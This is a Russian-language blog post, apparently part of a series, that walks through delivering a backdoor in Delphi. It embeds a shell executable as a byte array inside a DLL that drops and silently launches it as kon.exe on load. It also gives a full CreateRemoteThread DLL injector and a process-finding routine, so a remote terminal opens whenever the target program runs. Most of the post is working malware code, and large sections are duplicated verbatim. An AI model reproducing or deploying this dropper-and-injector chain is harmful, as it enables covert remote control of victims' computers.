хух.наконец я тут.
нашел в себе силы сегодня продолжить.
Итак как я и говорил продолжаем идею.
пишем DLL на delphi.Но сначала берем хекс редактор и копируем код в массив на делфи.
получается что то такое:
data: array[0..7167] of byte = (
$4D, $5A, $90, $00, $03, $00, $00, $00, $04, $00, $00, $00, $FF, $FF, $00, $00,
$B8, $00, $00, $00, $00, $00, $00, $00, $40, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $E0, $00, $00, $00,
$0E, $1F, $BA, $0E, $00, $B4, $09, $CD, $21, $B8, $01, $4C, $CD, $21, $54, $68,
$69, $73, $20, $70, $72, $6F, $67, $72, $61, $6D, $20, $63, $61, $6E, $6E, $6F
.........................................................................................................................................................
дальше идея проста:
По DLL_PROCESS_ATTACH создаем файл,записываем в него массив,закрываем и запускаем.
вот и все.
простая процедурка:
procedure DLLEntryPoint(Reason: Integer);
var nw:cardinal;
h:thandle;
begin
case Reason of
DLL_PROCESS_ATTACH:
begin
h:=createfile('kon.exe',GENERIC_READ or GENERIC_WRITE,0,nil,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
writefile(h,data,sizeof(data),nw,nil);
closehandle(h);
shellexecute(0,'open','kon.exe',0,0,SW_HIDE);
end;
DLL_PROCESS_DETACH:;
DLL_THREAD_ATTACH: ;
DLL_THREAD_DETACH:;
end;
end;
begin
DLLProc := @DLLEntryPoint;
DLLEntryPoint(DLL_PROCESS_ATTACH);
end.
теперь делаем инжектор в процесс.я не парился и взял Ms-rem'a
поэтапный алгоритм того что мы делали:
1)написали шелл(бэкдор)
2)скопировали его в хекс-коде в массив на делфи
3)написали библиотеку которая по загрузке в память выполняет свою точку входа
4)взяли инжектор,который смотрит запустился ли процесс(надо добавить) и если да то внедряет в него dll-ку которая выполняет наш бэкдор в итоге мы получаем терминал когда какое то действие произведено(то есть когда нам это конкретно надо)
вот такие вот извращения господа:)
всем доброй ночи.
нашел в себе силы сегодня продолжить.
Итак как я и говорил продолжаем идею.
пишем DLL на delphi.Но сначала берем хекс редактор и копируем код в массив на делфи.
получается что то такое:
data: array[0..7167] of byte = (
$4D, $5A, $90, $00, $03, $00, $00, $00, $04, $00, $00, $00, $FF, $FF, $00, $00,
$B8, $00, $00, $00, $00, $00, $00, $00, $40, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $E0, $00, $00, $00,
$0E, $1F, $BA, $0E, $00, $B4, $09, $CD, $21, $B8, $01, $4C, $CD, $21, $54, $68,
$69, $73, $20, $70, $72, $6F, $67, $72, $61, $6D, $20, $63, $61, $6E, $6E, $6F
.........................................................................................................................................................
дальше идея проста:
По DLL_PROCESS_ATTACH создаем файл,записываем в него массив,закрываем и запускаем.
вот и все.
простая процедурка:
procedure DLLEntryPoint(Reason: Integer);
var nw:cardinal;
h:thandle;
begin
case Reason of
DLL_PROCESS_ATTACH:
begin
h:=createfile('kon.exe',GENERIC_READ or GENERIC_WRITE,0,nil,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
writefile(h,data,sizeof(data),nw,nil);
closehandle(h);
shellexecute(0,'open','kon.exe',0,0,SW_HIDE);
end;
DLL_PROCESS_DETACH:;
DLL_THREAD_ATTACH: ;
DLL_THREAD_DETACH:;
end;
end;
begin
DLLProc := @DLLEntryPoint;
DLLEntryPoint(DLL_PROCESS_ATTACH);
end.
теперь делаем инжектор в процесс.я не парился и взял Ms-rem'a
Function InjectDll(Process: dword; ModulePath: PChar): boolean;
var
Memory:pointer;
Code: dword;
BytesWritten: dword;
ThreadId: dword;
hThread: dword;
hKernel32: dword;
Inject: packed record
PushCommand:byte;
PushArgument:DWORD;
CallCommand:WORD;
CallAddr:DWORD;
PushExitThread:byte;
ExitThreadArg:dword;
CallExitThread:word;
CallExitThreadAddr:DWord;
AddrLoadLibrary:pointer;
AddrExitThread:pointer;
LibraryName:array[0..MAX_PATH] of char;
end;
begin
Result := false;
Memory := VirtualAllocEx(Process, nil, sizeof(Inject),
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if Memory = nil then Exit;
Code := dword(Memory);
//инициализация внедряемого кода:
Inject.PushCommand := $68;
inject.PushArgument := code + $1E;
inject.CallCommand := $15FF;
inject.CallAddr := code + $16;
inject.PushExitThread := $68;
inject.ExitThreadArg := 0;
inject.CallExitThread := $15FF;
inject.CallExitThreadAddr := code + $1A;
hKernel32 := GetModuleHandle('kernel32.dll');
inject.AddrLoadLibrary := GetProcAddress(hKernel32, 'LoadLibraryA');
inject.AddrExitThread := GetProcAddress(hKernel32, 'ExitThread');
lstrcpy(@inject.LibraryName, ModulePath);
//записать машинный код по зарезервированному адресу
WriteProcessMemory(Process, Memory, @inject, sizeof(inject), BytesWritten);
//выполнить машинный код
hThread := CreateRemoteThread(Process, nil, 0, Memory, nil, 0, ThreadId);
if hThread = 0 then Exit;
CloseHandle(hThread);
Result := True;
end;
(копипаста с васма)
там хорошо объясняется что собсно делает код.
А именно-после загрузки dll в память будет выполнена ее точка входа- то есть наше DLL_PROCESS_ATTACH. останется только найти процесс для внедрения по запуску которого мы будем получать терминал у себя на машине с помощью такой вот функи
function GetPID(ExeFileName: string): dword;
var
ContinueLoop: boolean;
FSnapshotHandle: THandle;
FProcessEntry32: TProcessEntry32;
UpEFN: string;
begin
result:= 0;
UpEFN:= UpperCase(ExeFileName);
FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
FProcessEntry32.dwSize := Sizeof(FProcessEntry32);
ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32);
while integer(ContinueLoop) <> 0 do
begin
if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) = UpEFN)
or (UpperCase(FProcessEntry32.szExeFile) = UpEFN)) then
begin
result := FProcessEntry32.th32ProcessID;
break;
end;
ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);
end;
CloseHandle(FSnapshotHandle);
end;
фух ну вроде все:)
такая вот прикольная штука получается;).
поэтапный алгоритм того что мы делали:
1)написали шелл(бэкдор)
2)скопировали его в хекс-коде в массив на делфи
3)написали библиотеку которая по загрузке в память выполняет свою точку входа
4)взяли инжектор,который смотрит запустился ли процесс(надо добавить) и если да то внедряет в него dll-ку которая выполняет наш бэкдор в итоге мы получаем терминал когда какое то действие произведено(то есть когда нам это конкретно надо)
вот такие вот извращения господа:)
всем доброй ночи.
Комментариев нет:
Отправить комментарий